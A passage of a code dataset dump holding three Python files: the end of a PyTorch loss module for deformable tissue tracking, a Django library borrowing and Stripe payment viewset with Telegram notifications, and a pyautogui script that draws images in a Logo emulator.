torch.tensor(w-1).cuda())\n ].cuda()\n U_nm_valid = (U_nm_index_map>=0) & (n_block.long()>=0) & (n_block.long()=0) & (m_block.long()= 0, 1., -1.)\n d_m_block = torch.where(m_block >= 0, 1., -1.)\n n_block = torch.maximum(1-torch.abs(n_block), torch.tensor(0).cuda())\n m_block = torch.maximum(1-torch.abs(m_block), torch.tensor(0).cuda())\n target = torch.sum(U_nm * n_block * m_block, dim=1, dtype=torch.float64)\n if normalization:\n norm_scale = torch.norm(target, dim=1, keepdim=True)\n target /= norms_scale\n\n # d(bilinear sampling results) / d(coordinate to do the sampling)\n # Reference: eq.(6-7) of Spatial Transformer Networks, Max Jaderberg et al.\n if grad:\n grad = torch.stack([\\\n torch.sum(U_nm * n_block * d_m_block, dim=1),\\\n torch.sum(U_nm * m_block * d_n_block, dim=1)],\\\n dim=2) # dV: Nxcx2\n \n if normalization:\n return target, grad/norms_scale.unsqueeze(2)\n else:\n return target, grad\n else:\n return target, None\n\n # d(projection in the image plane) / d(position in the 3D space) for pin hole camera\n @staticmethod\n def dPi_block(trans_points, fx, fy):\n\n match_num = len(trans_points)\n Z = trans_points[:,2]\n sq_Z = torch.pow(Z,2)\n\n dPi = torch.zeros((match_num,2,3), dtype=torch.float64).cuda()\n dPi[:,0,0] = fx/Z\n dPi[:,0,2] = -fx*trans_points[:,0]/sq_Z\n dPi[:,1,1] = fy/Z\n dPi[:,1,2] = -fy*trans_points[:,1]/sq_Z\n\n return dPi\n\n # Find the indicies of all non-zero elements in the Jacobian matrix.\n # Output (2xN): row-column index of each element.\n @staticmethod\n def prepare_Jacobian_idx(cost_size, var_idxs, inc_idx):\n # Loss L can be calculated as L = \\sum_i l(input_i)\n # Inputs: 1) 'cost_size': the number of l()'s outputs;\n # 2) 'var_idxs': for each l(), the column index of the first parameter.\n \n cost_num, neighbor_num = var_idxs.size()\n if cost_size == 1:\n var_num = len(inc_idx)\n else:\n var_num = inc_idx.size()[1]\n idx0 = torch.arange(cost_num*cost_size, device=var_idxs.device).unsqueeze(1).repeat(1, neighbor_num*var_num)\n\n inc_idx = inc_idx.unsqueeze(0).unsqueeze(0)\n if cost_size == 1:\n idx1 = (var_idxs*7).unsqueeze(2) + inc_idx\n else:\n idx1 = (var_idxs*7).unsqueeze(2).unsqueeze(3) + inc_idx\n idx1 = idx1.permute(0,2,1,3)\n \n return torch.stack([idx0.flatten(), idx1.flatten()],dim=0)\n\n @staticmethod\n def prepare_jtj_jtl(Jacobian, loss):\n\n Jacobian_t = torch.transpose(Jacobian, 0, 1)\n jtj = torch.sparse.mm(Jacobian_t, Jacobian)\n jtl = -torch.sparse.mm(Jacobian_t,loss)\n return jtj, jtl\n\nclass DataLoss(): # Loss\n\n def __init__(self):\n return\n\n def prepare(self, sf, new_data):\n self.n_neighbors = sf.knn_indices.size(1)\n self.J_size = sf.ED_nodes.param_num\n\n self.sf_knn_w = sf.knn_w\n self.sf_knn_indices = sf.knn_indices\n self.sf_knn = sf.ED_nodes.points[self.sf_knn_indices] # All g_i in (10).\n self.sf_diff = sf.points.unsqueeze(1) - self.sf_knn # (p-g_i) in (10).\n self.skew_v = get_skew(self.sf_diff)\n\n def forward(self, lambda_, beta, inputs, new_data, grad=False, dldT_only=False):\n ### Find correspondence for ICP based on 3D-to-2D projection. Jacobian_elements: Nx4x3x4.\n trans_points, Jacobian_elements = Trans_points(self.sf_diff, self.sf_knn, \\\n beta[self.sf_knn_indices], self.sf_knn_w, grad=grad, skew_v=self.skew_v)\n ## Project the updated points to the image plane.\n ## Only keep valid projections with valid new points.\n v, u, proj_coords, proj_valid_index = pcd2depth(inputs, trans_points, round_coords=False)\n valid_pair = new_data.valid[torch.minimum(torch.maximum(\n proj_coords,\n torch.tensor(0).cuda()\n ),\n torch.tensor(len(new_data.valid)-1).cuda())] # Valid proj-new pairs.\n valid_pair &= (proj_coords >= 0) & (proj_coords < len(new_data.valid))\n v, u = v[valid_pair], u[valid_pair]\n ## Find matched points & normal values, and calculate related grad if needed.\n new_points, dpdPi = LossTool.bilinear_intrpl_block(v, u,\n new_data.points, index_map=new_data.index_map, grad=grad)\n new_norms, dndPi = LossTool.bilinear_intrpl_block(v, u,\n new_data.norms, index_map=new_data.index_map, grad=grad)\n intrpl_valid = ~torch.any(torch.isnan(new_points)|torch.isnan(new_norms), dim=1) # Invalid new surfels.\n new_points = new_points[intrpl_valid]\n new_norms = new_norms[intrpl_valid]\n\n sf_indicies = proj_valid_index[valid_pair][intrpl_valid]\n trans_points = trans_points[valid_pair][intrpl_valid][sf_indicies]\n pt_diff = trans_points-new_points# T(p)-o in (13).\n loss = lambda_ * torch.sum(new_norms*pt_diff, dim=1, keepdim=True)\n \n if grad:\n dpdPi = dpdPi[intrpl_valid]\n dndPi = dndPi[intrpl_valid]\n\n Jacobian_elements = Jacobian_elements[valid_pair][intrpl_valid][sf_indicies]\n knn_w = self.sf_knn_w[valid_pair][intrpl_valid][sf_indicies].unsqueeze(2).unsqueeze(3) # Nx4x1x1\n\n dPidT = LossTool.dPi_block(trans_points, inputs[\"K\"][0,0,0], inputs[\"K\"][0,1,1]) # Nx2x3\n dpdT = torch.matmul(dpdPi,dPidT) # Nx3x3\n dndT = torch.matmul(dndPi,dPidT) # Nx3x3\n\n if dldT_only:\n dldT = torch.matmul(new_norms.unsqueeze(1), dpdT) + \\\n torch.matmul(pt_diff.unsqueeze(1), dndT)\n dldT *= lambda_\n return torch.block_diag(*dldT)\n\n dpdT = dpdT.unsqueeze(1) # Nx1x3x3\n dndT = dndT.unsqueeze(1) # Nx1x3x3\n\n dndq = torch.matmul(dndT, Jacobian_elements) # Nx4x3x4\n dndq = torch.cat([dndq, knn_w*dndT.repeat(1,self.n_neighbors,1,1)], dim=3) # Nx4x3x7\n\n dpdq = Jacobian_elements - torch.matmul(dpdT, Jacobian_elements) # Nx4x3x4\n dpdq_vb = torch.eye(3, device=device).unsqueeze(0).unsqueeze(0) - dpdT.repeat(1,self.n_neighbors,1,1)\n dpdq = torch.cat([dpdq, knn_w*dpdq_vb], dim=3)\n\n J_idx = LossTool.prepare_Jacobian_idx(1, \\\n self.sf_knn_indices[valid_pair][intrpl_valid][sf_indicies], \n torch.arange(7, device=device))\n v = torch.matmul(new_norms.unsqueeze(1).unsqueeze(1),dpdq).squeeze(2) + \\\n torch.matmul(pt_diff.unsqueeze(1).unsqueeze(1),dndq).squeeze(2) # Nx4x7\n \n v = v.flatten()\n valid = ~torch.isnan(v)\n Jacobian = torch.sparse_coo_tensor(J_idx[:,valid], \\\n lambda_ * v[valid], (len(trans_points), self.J_size))\n \n return LossTool.prepare_jtj_jtl(Jacobian, loss)\n else:\n return torch.pow(loss,2)\n\n @staticmethod\n def autograd_forward(opt, inputs, src, trg, \n correspts=None, correspts_valid=None,\n flow=None, \n loss_type='point-plane', \n max=None,\n huber_th=-1,\n src_seg=None, src_seg_conf=None, soft_seg=None):\n \n if correspts is not None:\n valid_idx = correspts_valid\n u = correspts[0][valid_idx]\n v = correspts[1][valid_idx]\n else:\n v_, u_, _, valid_idx = pcd2depth(inputs, \n src.points, \n round_coords=False, \n valid_margin=1)\n u = u_[valid_idx]\n v = v_[valid_idx]\n\n if flow is not None:\n assert correspts is None\n\n grid = torch.stack([u_ * 2 / opt.width - 1, \n v_ * 2 / opt.height - 1\n ], dim=1).view(1, -1, 1, 2).float()\n trg_loc = F.grid_sample(flow, grid)[0,:,:,0]\n u_ += trg_loc[0]\n v_ += trg_loc[1]\n\n valid_margin = 1\n valid_idx = (v_ >= valid_margin) & (v_ < opt.height - 1 - valid_margin) & \\\n (u_ >= valid_margin) & (u_ < opt.width - 1 - valid_margin)\n\n u = u_[valid_idx]\n v = v_[valid_idx]\n \n if loss_type == 'point-point':\n if src_seg is not None:\n sample_trg, _, sample_valid = bilinear_sample(\n [trg.points, F.one_hot(trg.seg, num_classes=opt.num_classes), trg.seg_conf], \n v, u, index_map=trg.index_map)\n sample_trg_seg = sample_trg[1].argmax(-1)\n sample_trg_seg_conf = sample_trg[2]\n sample_trg_seg_conf = sample_trg_seg_conf[torch.arange(len(sample_trg_seg)), sample_trg_seman]\n else:\n sample_trg, _, sample_valid = bilinear_sample([trg.points], \n v, u, index_map=trg.index_map)\n sample_trg_verts = sample_trg[0]\n \n losses = torch_sq_distance(src.points[valid_idx][sample_valid], \n sample_trg_verts[sample_valid]\n )\n elif loss_type == 'point-plane':\n if src_seg is not None:\n sample_trg, _, sample_valid = bilinear_sample([trg.points, \n trg.norms, \n trg.seg_conf\n ], \n v, \n u, \n index_map=trg.index_map\n )\n sample_trg_seg_conf = sample_trg[2]\n sample_trg_seg_conf = sample_trg_seg_conf.softmax(1)\n else:\n # ALL valid are false\n sample_trg, _, sample_valid = bilinear_sample([trg.points, trg.norms], \n v, u, index_map=trg.index_map)\n sample_trg_verts, sample_trg_norms = sample_trg[0], sample_trg[1]\n\n losses = torch_inner_prod(sample_trg_norms[sample_valid],\n src.points[valid_idx][sample_valid] - sample_trg_verts[sample_valid]\n )**2\n\n if max is not None:\n losses = losses[losses < max]\n\n if (huber_th > 0) or (src_seg is not None):\n weights_list = []\n\n if huber_th > 0:\n with torch.no_grad():\n weights = torch.minimum(huber_th / torch.exp(torch.abs(losses) + 1e-20), torch.tensor(1).cuda())\n weights_list.append(weights.detach())\n\n if src_seg is not None:\n src_seg = src_seg[valid_idx]\n src_seg_conf = src_seg_conf[valid_idx]\n\n assert soft_seg is not None\n if soft_seg:\n weights = torch.exp(- 0.1 * JSD(src_seg_conf, sample_trg_seg_conf))\n else:\n sample_trg_seg = torch.argmax(sample_trg_seg_conf, dim=1).long()\n weights = torch.where(src_seg == sample_trg_seg, \n torch.tensor(1, dtype=torch.float64).cuda(), \n torch.tensor(0, dtype=torch.float64).cuda())\n \n weights_list.append(weights[sample_valid].detach())\n\n if len(weights_list) == 1:\n weights = weights_list[0]\n else:\n power = 1 / len(weights_list)\n weights = torch.prod(torch.pow(torch.stack(weights_list, dim=1), power), dim=1)\n losses *= weights\n\n return losses.sum()\n\nclass ARAPLoss():\n\n def __init__(self):\n return\n\n def prepare(self, sfModel, new_data):\n\n self.ED_knn_indices = sfModel.ED_nodes.knn_indices\n self.ED_n_neighbors = self.ED_knn_indices.size(1)\n\n self.d_EDs = sfModel.ED_nodes.points.unsqueeze(1) - \\\n sfModel.ED_nodes.points[self.ED_knn_indices]\n\n self.skew_EDv = get_skew(self.d_EDs)\n\n inc_idx_a = torch.tensor([[0,1,2,3,4],[0,1,2,3,5],[0,1,2,3,6]], device=device)\n arap_idxa = LossTool.prepare_Jacobian_idx(3, \\\n self.ED_knn_indices.reshape(-1,1), inc_idx_a)\n inc_idx_b = torch.tensor([[4],[5],[6]], device=device)\n arap_idxb = LossTool.prepare_Jacobian_idx(3, \\\n torch.arange(sfModel.ED_nodes.num, device=device).unsqueeze(1).repeat(1,self.ED_n_neighbors).view(-1,1), \\\n inc_idx_b)\n self.J_idx = torch.cat([arap_idxa, arap_idxb], dim=1)\n self.J_size = (sfModel.ED_nodes.num*self.ED_n_neighbors*3, sfModel.ED_nodes.param_num)\n\n def forward(self, lambda_, beta, inputs, new_data, grad=False, dldT_only=False):\n\n ED_t = beta[:,4:7]\n beta = beta[self.ED_knn_indices]\n \n loss, Jacobian_elements = transformQuatT(self.d_EDs, beta, \\\n grad=grad, skew_v=self.skew_EDv)\n\n loss -= self.d_EDs + ED_t.unsqueeze(1)\n loss = lambda_ * loss.view(-1,1)\n \n if grad:\n match_num = len(self.d_EDs)\n Jacobian_elements = Jacobian_elements\n \n Jacobian_elements = torch.cat([Jacobian_elements, \\\n torch.ones((match_num, self.ED_n_neighbors, 3, 1), dtype=torch.float64, device=device)], \\\n dim=3).flatten()\n Jacobian_elements = torch.cat([Jacobian_elements, \\\n -torch.ones(match_num * self.ED_n_neighbors * 3, dtype=torch.float64, device=device)])\n Jacobian_elements *= lambda_\n\n Jacobian = torch.sparse_coo_tensor(self.J_idx, \\\n Jacobian_elements, self.J_size)\n \n return LossTool.prepare_jtj_jtl(Jacobian, loss)\n else:\n return torch.pow(loss,2)\n\n @staticmethod\n def autograd_forward(input, beta):\n nodes = input.points\n knn_indices = input.knn_indices\n knn_w = input.knn_w\n \n nodes_t = beta[:,4:7]\n beta = beta[knn_indices]\n \n d_nodes = (nodes.unsqueeze(1) - nodes[knn_indices])\n loss, _ = transformQuatT(d_nodes, beta, skew_v=get_skew(d_nodes))\n loss -= d_nodes.type(torch.float32) + nodes_t.unsqueeze(1)\n\n loss = knn_w * torch.pow(loss, 2).sum(-1)\n loss = loss.sum(-1)\n \n return loss.sum()\n\nclass RotLoss():\n\n def __init__(self):\n return\n\n def prepare(self, sfModel, new_data):\n\n self.J_idx = LossTool.prepare_Jacobian_idx(1, \\\n torch.arange(sfModel.ED_nodes.num, device=device).unsqueeze(1), \\\n torch.arange(4, device=device))\n self.J_size = (sfModel.ED_nodes.num, sfModel.ED_nodes.param_num)\n \n def forward(self, lambda_, beta, inputs, new_data, grad=False):\n beta = beta[:, 0:4].type(torch.float32)\n\n loss = lambda_ * (1.-torch.sum(torch.pow(beta,2), dim=1, keepdim=True))\n\n if grad:\n v = (-lambda_*2*beta).view(-1)\n Jacobian = torch.sparse_coo_tensor(\\\n self.J_idx, v, self.J_size, dtype=torch.float32)\n\n return LossTool.prepare_jtj_jtl(Jacobian, loss)\n else:\n return torch.pow(loss, 2)\n\n @staticmethod\n def autograd_forward(beta):\n loss = 1. - torch.matmul(beta[:, 0:4][:, None, :], beta[:, 0:4][:, :, None])[:, 0, 0]\n loss = torch.pow(loss, 2)\n return loss.sum()","repo_name":"ucsdarclab/Python-SuPer","sub_path":"super/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":21488,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"1"}
+{"seq_id":"74071886432","text":"import asyncio\nimport telegram\nimport os\nimport datetime\n\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404\nimport stripe\nfrom django.db.models import QuerySet\nfrom drf_spectacular.types import OpenApiTypes\nfrom drf_spectacular.utils import extend_schema, OpenApiParameter\nfrom rest_framework import viewsets, mixins, status\nfrom rest_framework.decorators import action\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom django.db import transaction\nfrom django.urls import reverse\n\nfrom book.models import Book\nfrom borrowing.models import Borrowing, Payment\nfrom borrowing.serializers import (\n BorrowingListSerializer,\n BorrowingDetailSerializer,\n BorrowingCreateSerializer,\n BorrowingReturnSerializer,\n PaymentListSerializer,\n PaymentDetailSerializer,\n)\n\nBOT_TOKEN = os.environ.get(\"TELEGRAM_BOT_TOKEN\")\nCHAT_ID = os.environ.get(\"TELEGRAM_CHAT_ID\")\nbot = telegram.Bot(token=BOT_TOKEN)\nstripe.api_key = os.environ.get(\"STRIPE_KEY\")\n\n\nclass BorrowingViewSet(\n mixins.ListModelMixin,\n mixins.CreateModelMixin,\n mixins.RetrieveModelMixin,\n viewsets.GenericViewSet,\n):\n permission_classes = (IsAuthenticated,)\n queryset = Borrowing.objects.select_related(\"book\", \"user\")\n\n def get_serializer_class(self):\n if self.action == \"retrieve\":\n return BorrowingDetailSerializer\n if self.action == \"create\":\n return BorrowingCreateSerializer\n if self.action == \"return_book\":\n return BorrowingReturnSerializer\n return BorrowingListSerializer\n\n def get_queryset(self) -> QuerySet:\n if self.request.user.is_staff:\n return self.queryset\n return self.queryset.filter(user=self.request.user)\n\n @transaction.atomic\n def create(self, request, *args, **kwargs):\n borrowing = Borrowing.objects.all()\n\n data = request.data.copy()\n data[\"user\"] = request.user.id\n book = Book.objects.get(id=request.data.get(\"book\"))\n if book.inventory <= 0:\n raise Exception(\"No book available\")\n\n if borrowing.filter(book=book, user=request.user):\n raise Exception(\"You borrowed this book\")\n\n if borrowing.filter(\n payments__status__in=(\"PENDING\",), user=request.user\n ):\n raise Exception(\n \"You are not allowed to borrow \"\n \"new books due to pending payments.\"\n )\n\n book.inventory -= 1\n book.save()\n serializer = self.get_serializer(data=data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n\n async def send_message(text):\n await bot.send_message(\n chat_id=CHAT_ID,\n text=f\"Borrowing created with ID {serializer.data['id']}\",\n )\n\n asyncio.run(send_message(serializer.data))\n\n borrowing_id = serializer.data[\"id\"]\n url = reverse(\n \"borrowing:create-checkout-session\", args=[borrowing_id]\n )\n\n return HttpResponseRedirect(url)\n\n @action(\n methods=[\"POST\"],\n detail=True,\n url_path=\"return\",\n )\n def return_book(self, request, pk):\n borrowing = self.get_object()\n book = Book.objects.get(borrowings=pk)\n with transaction.atomic():\n if borrowing.actual_return_date is None:\n book.inventory += 1\n book.save()\n borrowing.actual_return_date = datetime.date.today()\n borrowing.save()\n serializer = self.get_serializer(data=request.data)\n if serializer.is_valid(raise_exception=True):\n\n if borrowing.fine_days:\n url = reverse(\n \"borrowing:create-checkout-session\",\n args=[borrowing.id],\n )\n return HttpResponseRedirect(url)\n\n return Response(serializer.data, status=status.HTTP_200_OK)\n return Response(status=status.HTTP_403_FORBIDDEN)\n\n @extend_schema(\n parameters=[\n OpenApiParameter(\n \"is_active\",\n type=OpenApiTypes.BOOL,\n description=\"Filter by is active now( True or False)\",\n ),\n OpenApiParameter(\n \"user_id\",\n type=OpenApiTypes.INT,\n description=\"Filter by user id for admin user only\",\n ),\n ]\n )\n def list(self, request, *args, **kwargs):\n queryset = self.get_queryset()\n is_active = self.request.query_params.get(\"is_active\")\n user_id = self.request.query_params.get(\"user_id\")\n if is_active:\n if is_active.lower() == \"true\":\n queryset = queryset.filter(actual_return_date=None)\n else:\n queryset = queryset.exclude(actual_return_date=None)\n if request.user.is_staff and user_id:\n queryset = queryset.filter(user=user_id)\n\n queryset = self.filter_queryset(queryset)\n page = self.paginate_queryset(queryset)\n if page is not None:\n serializer = self.get_serializer(page, many=True)\n return self.get_paginated_response(serializer.data)\n\n serializer = self.get_serializer(queryset, many=True)\n return Response(serializer.data)\n\n\nclass PaymentViewSet(\n mixins.ListModelMixin,\n mixins.RetrieveModelMixin,\n viewsets.GenericViewSet,\n):\n permission_classes = (IsAuthenticated,)\n queryset = Payment.objects.all()\n\n def get_serializer_class(self):\n if self.action == \"retrieve\":\n return PaymentDetailSerializer\n if self.action in (\"payment_success\", \"cancel_payment\"):\n return PaymentDetailSerializer\n return PaymentListSerializer\n\n def get_queryset(self):\n queryset = Payment.objects.all()\n if self.request.user.is_staff:\n return queryset\n return queryset.filter(borrowing__user=self.request.user)\n\n @action(\n methods=[\"GET\"],\n detail=True,\n url_path=\"success\",\n )\n def payment_success(self, request, pk):\n session_id = self.get_object().session_id\n\n with transaction.atomic():\n checkout_session = stripe.checkout.Session.retrieve(session_id)\n\n payment_id = checkout_session.metadata[\"payment_id\"]\n payment = Payment.objects.get(id=payment_id)\n\n payment.session_id = checkout_session.id\n payment.money_to_pay = checkout_session.amount_total / 100\n payment.status = \"PAID\"\n payment.type_session = \"PAYMENT\"\n payment.money_to_pay = 0\n payment.save()\n\n borrowing = payment.borrowing\n borrowing.save()\n\n serializer = self.get_serializer(\n payment, data=request.data, partial=True\n )\n if serializer.is_valid():\n serializer.save()\n\n async def send_message(text):\n await bot.send_message(chat_id=CHAT_ID, text=text)\n\n asyncio.run(send_message(serializer.data))\n\n return Response(serializer.data)\n return Response(serializer.errors)\n\n @action(\n methods=[\"GET\"],\n detail=True,\n url_path=\"cancel\",\n )\n def cancel_payment(self, request, pk):\n payment = get_object_or_404(Payment, id=pk)\n\n if payment.status == \"PAID\":\n return Response(status=status.HTTP_403_FORBIDDEN)\n\n payment.status = Payment.STATUS_CHOICES[0][0]\n payment.type_session = Payment.TYPE_CHOICES[0][0]\n payment.save()\n\n serializer = self.get_serializer(\n payment, data=request.data, partial=True\n )\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors)\n\n\n@transaction.atomic\ndef create_checkout_session(request, borrowing_id):\n if not request.user:\n return Response(status=status.HTTP_401_UNAUTHORIZED)\n\n borrowing = Borrowing.objects.get(id=borrowing_id)\n\n if Payment.objects.filter(borrowing_id=borrowing_id).exists():\n payment = Payment.objects.get(borrowing_id=borrowing_id)\n if payment.status == \"PENDING\" and borrowing.fine_days:\n payment.money_to_pay += borrowing.total_fine_amount\n\n if payment.status == \"PAID\" and borrowing.fine_days:\n payment.money_to_pay = borrowing.total_fine_amount\n payment.type_session = payment.TYPE_CHOICES[1][0]\n\n if payment.status == \"PAID\" and not borrowing.fine_days:\n return Response(status=status.HTTP_303_SEE_OTHER)\n else:\n payment = Payment.objects.create(\n borrowing=borrowing,\n money_to_pay=borrowing.total_fine_amount,\n type_session=\"PAYMENT\",\n )\n\n session = stripe.checkout.Session.create(\n payment_method_types=[\"card\"],\n line_items=[\n {\n \"price_data\": {\n \"currency\": \"usd\",\n \"product_data\": {\n \"name\": borrowing.book.title,\n },\n \"unit_amount\": int(payment.money_to_pay * 100),\n },\n \"quantity\": 1,\n }\n ],\n mode=\"payment\",\n success_url=request.build_absolute_uri(\n reverse(\"borrowing:payment-success\", args=[payment.id])\n ),\n cancel_url=request.build_absolute_uri(\n reverse(\"borrowing:cancel-payment\", args=[payment.id])\n ),\n metadata={\"payment_id\": payment.id},\n )\n\n payment.session_id = session.id\n payment.session_url = session.url\n payment.save()\n\n return HttpResponseRedirect(session.url)\n","repo_name":"evgenijmartynuk07/Library-Service","sub_path":"borrowing/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"29713428132","text":"import pyautogui\r\nfrom PIL import Image\r\nimport time\r\nimport itertools\r\n\r\n\r\n#Requiriments\r\n\r\n#pip install PyAutoGUI\r\n#pip install Pillow\r\n\r\n#How to use\r\n# Run the script and then you have 5 seconds to switch to the emulator and leave it selected.\r\n# Maybe after running switch the time until suspension and time it takes the screen to turn off setting in windows\r\n# Just in case it might break, i dindt test that.\r\n\r\n\r\n# Opens a image in RGB mode\r\n# WARNING USE BIG PICTURES(over 300px) or it might break. I didnt have time to fix it lol.\r\n# Use jpg format.\r\nim = Image.open(r\"input.jpg\")\r\n\r\n# Size of the image in pixels (size of original image)\r\nwidth, height = im.size\r\n\r\n# we code the palettes\r\npalette = [\r\n 0, 0, 0, #negro\r\n 0, 204, 68, #verde medio\r\n 102, 255, 153, #verde claro\r\n 0, 0, 153, #azul oscuro\r\n 102, 102, 255, #azul claro\r\n 255, 51, 0, #rojo\r\n 0, 255, 255, #celeste\r\n 255, 51, 153, #rosa\r\n 255, 179, 217, #rosa claro\r\n 255, 255, 0, #amarillo\r\n 255, 255, 153, #amarillo claro\r\n 0, 77, 26, #verde oscuro\r\n 207, 52, 118, #magenta\r\n 127, 127, 127, #gris\r\n 255, 255, 255 #blanco\r\n ]\r\n\r\npaletteRGB = [\r\n (0, 0, 0), #negro\r\n (0, 204, 68), #verde medio\r\n (102, 255, 153), #verde claro\r\n (0, 0, 153), #azul oscuro\r\n (102, 102, 255), #azul claro\r\n (255, 51, 0), #rojo\r\n (0, 255, 255), #celeste\r\n (255, 51, 153), #rosa\r\n (255, 179, 217), #rosa claro\r\n (255, 255, 0), #amarillo\r\n (255, 255, 153), #amarillo claro\r\n (0, 77, 26), #verde oscuro\r\n (207, 52, 118), #magenta\r\n (127, 127, 127), #gris\r\n (255, 255, 255) #blanco\r\n ]\r\n\r\npalleteCommandLetter = [\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"r\",]\r\n\r\n\r\ndef GetWorkableImage():\r\n newHeight = height * (((width*100)/110) / 100) # Escalamos x el mismo porcentaje\r\n if(newHeight > 130):\r\n newHeight = 130\r\n newsize = (110, newHeight)\r\n img2 = im.resize(newsize)\r\n\r\n ## Convertimos la imagen a la paleta\r\n img3 = Image.new('P', (int(newsize[0]), int(newsize[1])))\r\n img3.putpalette(palette)\r\n\r\n conv = img2.quantize(palette=img3, dither=0)\r\n return conv\r\n\r\ndef TypeAnything(text):\r\n inputText = text\r\n for letter in inputText:\r\n pyautogui.keyDown(letter)\r\n pyautogui.keyUp(letter)\r\n PressEnter()\r\n\r\ndef PressEnter():\r\n pyautogui.keyDown(\"Enter\")\r\n pyautogui.keyUp(\"Enter\")\r\n\r\ndef PressEscape():\r\n pyautogui.keyDown(\"Escape\")\r\n pyautogui.keyUp(\"Escape\")\r\n\r\ndef SetUpPixel():\r\n TypeAnything(\"para p\")\r\n PressEnter()\r\n TypeAnything(\"at 1 de 90\")\r\n TypeAnything(\"ad 1 iz 90\")\r\n TypeAnything(\"ad 1\")\r\n PressEscape()\r\n\r\ndef SetUpMoveToNextPixel():\r\n TypeAnything(\"para q\")\r\n PressEnter()\r\n TypeAnything(\"de 90 ad 1\")\r\n TypeAnything(\"iz 90\")\r\n PressEscape()\r\n\r\ndef SendToStartPoint():\r\n TypeAnything(\"sp\")\r\n TypeAnything(\"ad 70 iz 90\")\r\n TypeAnything(\"ad 120 de 90\")\r\n TypeAnything(\"cp\")\r\n\r\ndef GoToNextLine():\r\n TypeAnything(\"s\")\r\n\r\ndef DibujarLinea(longPixeles):\r\n if longPixeles > 110:\r\n longPixeles = 110\r\n if longPixeles <= 3:\r\n for pixel in range(longPixeles):\r\n TypeAnything(\"p\")\r\n time.sleep(0.2)\r\n TypeAnything(\"q\")\r\n else:\r\n texto = \"repetir \" + str(longPixeles) + \" [p q]\"\r\n TypeAnything(texto)\r\n cantidad = ((8.5 * (longPixeles))/ 110) # revisar si no hace falta el x2\r\n time.sleep(cantidad)\r\n\r\ndef _GetColor(indice):\r\n TypeAnything(palleteCommandLetter[indice])\r\n\r\ndef SetUpColors():\r\n TypeAnything(\"para a\")\r\n PressEnter()\r\n TypeAnything(\"fcolorp 1\")\r\n PressEscape()\r\n TypeAnything(\"para b\")\r\n PressEnter()\r\n TypeAnything(\"fcolorp 2\")\r\n PressEscape()\r\n TypeAnything(\"para c\")\r\n PressEnter()\r\n TypeAnything(\"fcolorp 3\")\r\n PressEscape()\r\n TypeAnything(\"para d\")\r\n PressEnter()\r\n TypeAnything(\"fcolorp 4\")\r\n PressEscape()\r\n TypeAnything(\"para e\")\r\n PressEnter()\r\n TypeAnything(\"fcolorp 5\")\r\n PressEscape()\r\n TypeAnything(\"para f\")\r\n PressEnter()\r\n TypeAnything(\"fcolorp 6\")\r\n PressEscape()\r\n TypeAnything(\"para g\")\r\n PressEnter()\r\n TypeAnything(\"fcolorp 7\")\r\n PressEscape()\r\n TypeAnything(\"para h\")\r\n PressEnter()\r\n TypeAnything(\"fcolorp 8\")\r\n PressEscape()\r\n TypeAnything(\"para i\")\r\n PressEnter()\r\n TypeAnything(\"fcolorp 9\")\r\n PressEscape()\r\n TypeAnything(\"para j\")\r\n PressEnter()\r\n TypeAnything(\"fcolorp 10\")\r\n PressEscape()\r\n TypeAnything(\"para k\")\r\n PressEnter()\r\n TypeAnything(\"fcolorp 11\")\r\n PressEscape()\r\n TypeAnything(\"para l\")\r\n PressEnter()\r\n TypeAnything(\"fcolorp 12\")\r\n PressEscape()\r\n TypeAnything(\"para m\")\r\n PressEnter()\r\n TypeAnything(\"fcolorp 13\")\r\n PressEscape()\r\n TypeAnything(\"para n\")\r\n PressEnter()\r\n TypeAnything(\"fcolorp 14\")\r\n PressEscape()\r\n TypeAnything(\"para r\")\r\n PressEnter()\r\n TypeAnything(\"fcolorp 15\")\r\n PressEscape()\r\n\r\ndef SetUpGoToNextLine():\r\n TypeAnything(\"para s\")\r\n PressEnter()\r\n TypeAnything(\"sp\")\r\n TypeAnything(\"at 1 iz 90\")\r\n TypeAnything(\"ad 220 de 90\") # Es 220 xq es el tama;o que estoy usando maximo de imagen aca..\r\n TypeAnything(\"cp\")\r\n PressEscape()\r\n \r\n\r\n\r\n\r\n# Codigo del programa ####################\r\n\r\ntime.sleep(5)\r\nprint(\"Started Clock.\")\r\nstart_time = time.time()\r\n\r\nimg = GetWorkableImage()\r\nrgb_img = img.convert('RGB')\r\n\r\n#Setup process\r\nSendToStartPoint()\r\nSetUpPixel()\r\nSetUpGoToNextLine()\r\nSetUpMoveToNextPixel()\r\nSetUpColors()\r\nprint(\"Done setting up!.\")\r\n\r\n#It scans each line from left to right and draw it.\r\n# Usa el algoritmo de Run-length encoding , para saber cuantos pixeles tiene que pintar del mismo color.\r\nlastUsedColor = None\r\n\r\nfor pixelY in range(rgb_img.size[1]):\r\n linea = [rgb_img.getpixel((x, pixelY)) for x in range(110)] # Valor hasta 110 ANCHO\r\n g = [(x, len(list(y))) for x, y in itertools.groupby(linea)]\r\n #print(g)\r\n for color, cant in g:\r\n if(lastUsedColor != color):\r\n _GetColor(paletteRGB.index(color))\r\n lastUsedColor = color\r\n DibujarLinea(cant)\r\n print(f\"Pinto {cant} de {color} T:\" + str(int((pixelY*100)/rgb_img.size[1])) + \"%\")\r\n GoToNextLine()\r\n\r\n# Cuando termino de pintar\r\nTypeAnything(\"ot\")\r\nTypeAnything(\"bt\")\r\n \r\nprint(\"Done\")\r\n# Get the total runtime.\r\nprint(\" Tardo --- %s minutos ---\" % (int((time.time() - start_time)/60)))\r\n# Show the image it was based on for comparison\r\nrgb_img.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"ultragames007/LogoImageGenerator","sub_path":"Donatello.py","file_name":"Donatello.py","file_ext":"py","file_size_in_byte":6674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
